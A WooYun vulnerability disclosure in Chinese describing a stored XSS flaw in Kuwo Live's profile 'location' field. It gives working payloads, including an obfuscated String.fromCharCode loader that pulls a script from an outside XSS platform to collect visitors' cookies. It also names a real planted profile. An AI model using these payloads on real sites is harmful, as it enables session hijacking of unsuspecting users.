WooYun.org

在酷我秀场的”个人主页“中可以对“基础信息”进行设置，其中“所在地”输入框对用户输入过滤不严导致存在存储型跨站漏洞。

1、该"所在地"输入框过滤了‘和< 但并未过滤"，导致可以输入跨站代码。
如
(1)输入" onmouseover=alert(1) "后保存，然后查看个人信息

(2)输入" onmouseover=alert(document.cookie) "后保存，然后查看个人信息

(3)插入跨站平台代码。虽然网站过滤了'和对<进行了编码，可以利用String.fromCharCode()进行绕过。输入

" onmouseover="var a=document.createElement(eval(String.fromCharCode(39,115,99,114,105,112,116,39)));a.src=eval(String.fromCharCode(39,104,116,116,112,58,47,47,49,50,54,46,97,109,47,99,84,51,51,72,49,39));document.body.appendChild(a);" type="text

后保存，然后查看个人信息。查看后跨站平台就收到了cookie

2、总结：酷我秀场的个人基础信息是公开的，任何人都可以查看。因此将"所在地"填充为xss代码后，只要有人查看你的资料时鼠标移动到“所在地”位置就会触发xss代码。如任何人访问我的个人资料：http://x.kuwo.cn/KuwoLive/lb/MyPage?uid=114701529，将鼠标移动到"所在地"处。